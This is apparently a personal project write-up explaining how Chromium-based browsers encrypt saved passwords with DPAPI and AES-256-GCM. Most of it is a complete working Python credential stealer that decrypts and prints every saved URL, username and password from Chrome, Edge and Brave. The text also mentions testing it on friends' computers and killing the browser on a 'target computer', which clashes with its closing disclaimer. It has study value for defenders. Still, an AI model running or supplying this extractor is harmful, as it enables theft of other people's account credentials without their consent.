Browser Password Stealer - Python
Studying Chrome's credential storage and multi-layer decryption chain to build a Python-based password extractor
🔐 Browser Password Stealer — Python Study
Project Overview
This project is a purely educational study on how Chromium-based browsers (Chrome, Edge, Brave...) store and protect user credentials locally, and how an attacker with local access could extract them using Python.
This was my first cyber-security personnal project, I work on it multiple weeks on 2 years. The goal is not to build a functionnal malware it is to deeply understand the cryptographic chain that Chrome uses to protect your saved passwords, and to demonstrate why local access to a machine should always be treated as a full compromise, and how risky is it to use browser password storage.
Project Goals
- Understand how Chrome's password manager stores credentials on disk
- Reverse the multi-layer encryption chain (DPAPI + AES-256-GCM)
- Implement a working Python extractor from scratch
- Test it Take as fun as possible on friend's computers
Key Features
✅ SQLite credential extraction — Direct reading of Chrome's Login Data database
✅ DPAPI master key decryption — Recovering the AES key from Local State
✅ AES-256-GCM decryption — Deciphering individual password entries
✅ Multi-browser support — Chrome, Edge, Brave, Opera
✅ Legacy fallback — Pre-Chrome 80 DPAPI-only passwords
How Chrome Stores Your Passwords
Before writing a single line of Python, it is essential to understand how Chrome's password manager actually works under the hood.
The Storage Architecture
Chrome does not store your passwords in plaintext. It uses a two-layer encryption system based on a combination of Windows DPAPI and AES-256-GCM. The relevant files are:
| File | Location | Role |
|---|---|---|
Login Data |
%LOCALAPPDATA%\Google\Chrome\User Data\Default\ |
SQLite database — stores all saved credentials |
Local State |
%LOCALAPPDATA%\Google\Chrome\User Data\ |
JSON config — stores the encrypted AES master key |
The Login Data Database
Login Data is a standard SQLite database. The table of interest is logins, with the following relevant columns:
| Column | Content |
|---|---|
origin_url |
Website URL |
username_value |
Plaintext username |
password_value |
Encrypted password (raw bytes) |
The password_value blob is where the challenge lies. Its format changed significantly with Chrome 80 in early 2020.
🔑 The Encryption Chain
Chrome's encryption went through two distinct eras, each with a different approach.
Era 1 — Pre-Chrome 80 : DPAPI only
Before version 80, Chrome encrypted passwords directly with Windows DPAPI (Data Protection API).
DPAPI is a Windows system service that ties encryption to the currently logged-in user's credentials. It is transparent: no key to manage, no file to find — Windows handles everything.
Decryption is a single function call:
import win32crypt
decrypted = win32crypt.CryptUnprotectData(
password_value, None, None, None, 0
)[1]
No key needed, no algorithm to implement, simple, and the reason Google wanted to add another layer.
Era 2 — Chrome 80+ : DPAPI + AES-256-GCM
Starting with Chrome 80, Google introduced a session-independent encryption layer. Passwords are now encrypted with AES-256-GCM, using a per-installation master key that is itself protected by DPAPI.
This gives a two-step decryption process : you need to unlock the key before you can unlock the passwords:
Local State (JSON) <- who store an AES 32-byte raw encryption key
└── Encrypted by Windows (DPAPI)
└── so we need to ask Windows to decript it for us
└── then we can use the AES master key to decrypt the
Login Data file content and see the plaintext password
└── Login Data: password_value
└── AES-256-GCM decrypt → plaintext password
Step 1 — Extract the master AES key
The master key lives in Local State, a JSON file at the root of Chrome's user data directory:
{
"os_crypt": {
"encrypted_key": "RFBBUEkBAAAA0Iyd3wEV0RGAS..."
}
}
The value is base64-encoded. Once decoded, the first 5 bytes are the literal ASCII prefix DPAPI — a marker added by Chrome that must be stripped before feeding the data to DPAPI.
import json, base64, os
import win32crypt
local_state_path = os.path.join(
os.environ["LOCALAPPDATA"],
"Google", "Chrome", "User Data", "Local State"
)
with open(local_state_path, "r", encoding="utf-8") as f:
local_state = json.load(f)
encrypted_key_b64 = local_state["os_crypt"]["encrypted_key"]
encrypted_key = base64.b64decode(encrypted_key_b64)
# Strip the "DPAPI" prefix (5 bytes)
encrypted_key = encrypted_key[5:]
# Decrypt with DPAPI to get the raw 32-byte AES key
master_key = win32crypt.CryptUnprotectData(
encrypted_key, None, None, None, 0
)[1]
Step 2 — Identify the password format
Once we query a password_value from the Login Data SQLite database, we need to determine which encryption era it belongs to:
v10orv11prefix (bytes 0–2) → Chrome 80+ AES-256-GCM- No prefix → Legacy DPAPI encryption
if password_value[:3] == b"v10" or password_value[:3] == b"v11":
# Modern AES-GCM path
...
else:
# Legacy DPAPI path
decrypted = win32crypt.CryptUnprotectData(password_value, None, None, None, 0)[1]
Step 3 — AES-256-GCM decryption
For modern passwords, the blob after the v10/v11 prefix is structured as follows:
[ v10/v11 (3 bytes) ][ nonce (12 bytes) ][ ciphertext ][ GCM tag (16 bytes) ]
AES-GCM requires the nonce, the ciphertext, and the authentication tag separately:
from Crypto.Cipher import AES
# password_value = raw bytes from SQLite
nonce = password_value[3:15] # 12-byte IV
ciphertext = password_value[15:-16] # actual encrypted data
tag = password_value[-16:] # GCM authentication tag
cipher = AES.new(master_key, AES.MODE_GCM, nonce=nonce)
decrypted_password = cipher.decrypt_and_verify(ciphertext, tag).decode("utf-8")
The decrypt_and_verify call does two things at once: it decrypts the ciphertext and verifies the GCM tag, ensuring the data has not been tampered with. If the tag doesn't match, an exception is raised.
🐍 Full Python Implementation
Putting it all together, the extractor follows this structure:
import os, json, base64, sqlite3, shutil, tempfile
import win32crypt
from Crypto.Cipher import AES
def get_master_key(browser_path: str) -> bytes:
local_state_path = os.path.join(browser_path, "Local State")
with open(local_state_path, "r", encoding="utf-8") as f:
local_state = json.load(f)
encrypted_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:]
return win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
def decrypt_password(password_value: bytes, master_key: bytes) -> str:
try:
if password_value[:3] in (b"v10", b"v11"):
nonce = password_value[3:15]
ciphertext = password_value[15:-16]
tag = password_value[-16:]
cipher = AES.new(master_key, AES.MODE_GCM, nonce=nonce)
return cipher.decrypt_and_verify(ciphertext, tag).decode("utf-8")
else:
return win32crypt.CryptUnprotectData(
password_value, None, None, None, 0
)[1].decode("utf-8")
except Exception:
return "[decryption failed]"
def extract_credentials(profile_path: str, master_key: bytes) -> list[dict]:
login_data_src = os.path.join(profile_path, "Login Data")
# Chrome locks the DB while running — copy it to a temp location
tmp = tempfile.mktemp(suffix=".db")
shutil.copy2(login_data_src, tmp)
results = []
conn = sqlite3.connect(tmp)
cursor = conn.cursor()
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
for url, username, password_value in cursor.fetchall():
decrypted = decrypt_password(password_value, master_key)
if decrypted and decrypted != "[decryption failed]":
results.append({
"url": url,
"username": username,
"password": decrypted
})
conn.close()
os.remove(tmp)
return results
# --- Entry point ---
BROWSERS = {
"Chrome": os.path.join(os.environ["LOCALAPPDATA"], "Google", "Chrome", "User Data"),
"Edge": os.path.join(os.environ["LOCALAPPDATA"], "Microsoft", "Edge", "User Data"),
"Brave": os.path.join(os.environ["LOCALAPPDATA"], "BraveSoftware", "Brave-Browser", "User Data"),
}
for browser_name, browser_path in BROWSERS.items():
if not os.path.exists(browser_path):
continue
master_key = get_master_key(browser_path)
creds = extract_credentials(os.path.join(browser_path, "Default"), master_key)
for c in creds:
print(f"[{browser_name}] {c['url']} | {c['username']} | {c['password']}")
One important detail: Chrome locks Login Data while it is running. The file cannot be opened by another process directly. The workaround is to copy the database file to a temporary location first, then open the copy; or if your have hands on the target computer you can simply kill the browser task before ;)
🛡️ Chrome 127+ — App-Bound Encryption
As of Chrome 127 (mid-2024), Google introduced a new protection layer called App-Bound Encryption.
At this moment I just see my previous work just not working on all up-to-date browser, but was satisfied about what I learnt on it at this point, and I do not go deeply into how they fix this security-issue.
💡 Skills Developed
Cryptography & Reverse Engineering
- Windows DPAPI — Understanding user-scoped symmetric encryption
- AES-256-GCM — Authenticated encryption, nonce extraction, tag verification
- Binary blob parsing — Identifying format markers (
v10,DPAPIprefix) in raw bytes - Key derivation chain — Following a multi-step decryption pipeline
Windows Internals
- Local State & Login Data — Chrome's internal file structure
- SQLite access — Reading locked application databases safely
- win32crypt — Interfacing with the Windows Crypto API from Python
- Process locking — Understanding file lock workarounds on Windows
Security Research
- Threat modeling — Local access = full compromise, no exceptions
- Defensive perspective — Understanding App-Bound Encryption and its design goals
- Red Team thinking — Tracing an attacker's path step by step
🔗 Resources
- Chrome Source — chromium.googlesource.com
- App-Bound Encryption blog — security.googleblog.com
- pywin32 — github.com/mhammond/pywin32
🎓 Conclusion
Chrome's password manager is a good example of layered security.
The combination of DPAPI for key protection and AES-256-GCM for individual credentials is sound cryptography. The weakness was never in the algorithms themselves, but in the threat model assumption: that local user access is a trusted boundary.
I do some additionnal research today when i write this project-writeup, App-Bound Encryption in Chrome 127+ finally addresses this assumption by coupling decryption to a specific binary identity with signed proof rather than just user identity. It is not unbreakable, but it raises the bar significantly.
The key takeaway for any security practitioner: if an attacker has local access to your machine, your browser-saved passwords should be considered compromised. Use a dedicated password manager with a proper master password, and never rely solely on the browser vault for sensitive credentials.
Iuw somme recommandations, try Bitwarden or Keepass depends on your preference usage context.
⚠️ Disclaimer: This project is strictly educational and was conducted in a controlled environment. Extracting credentials from a machine you do not own is illegal. The knowledge presented here is intended to help understand attack surfaces and improve defenses.
